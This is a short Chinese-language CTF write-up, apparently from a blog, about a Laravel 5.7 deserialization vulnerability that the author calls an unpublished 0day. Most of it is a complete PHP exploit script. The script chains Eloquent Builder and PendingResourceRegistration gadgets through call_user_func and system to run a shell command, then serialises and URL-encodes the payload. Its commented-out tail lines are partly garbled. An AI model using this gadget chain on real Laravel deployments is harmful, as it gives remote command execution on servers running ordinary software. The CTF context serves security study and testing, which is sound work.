这个题目是laravel的0day，最早是给强网杯，但是因为忘记修补非预期，导致变成了签到题目，目前这个还是一个没有公开的反序列化漏洞，放5.7，不放5.8版本是因为5.8一样有这个漏洞，但是5.8的非预期更多，不好修补，还是采用5.7

pdf文档里的exp只能单参数命令执行，也就是说，只能执行不带空格，不带下划线，不带特殊字符的单个命令，后面我优化以后，给出真正的多参数命令执行

|  |
| --- |
| <?php  namespace Illuminate\Database\Eloquent {  class Builder  {  protected $localMacros = ["register" => "Illuminate\Support\Arr::first"];  }  }  namespace Illuminate\Routing {  class PendingResourceRegistration  {  protected $registrar;  protected $name = "call\_user\_func";  public function \_\_construct($registrar)  {  $this->registrar = $registrar;  }  }  }  namespace {  $cmd = "cat /flagflagflagflag.txt";  $payload = new Illuminate\Database\Eloquent\Builder();  $payload->$cmd = "system";  echo urlencode(  serialize(new Illuminate\Routing\PendingResourceRegistration($payload))  #new Illuminate\Routing\PendingResourceRegistration($payload)  #new Illuminate\Routing\PendingResourceRegistration(  new Illuminate\Database\Eloquent\Builder(array("register"=>" Illuminate\Support\Arr::first"),"system"),  "call\_user\_fun c",  1,  1);  );  } |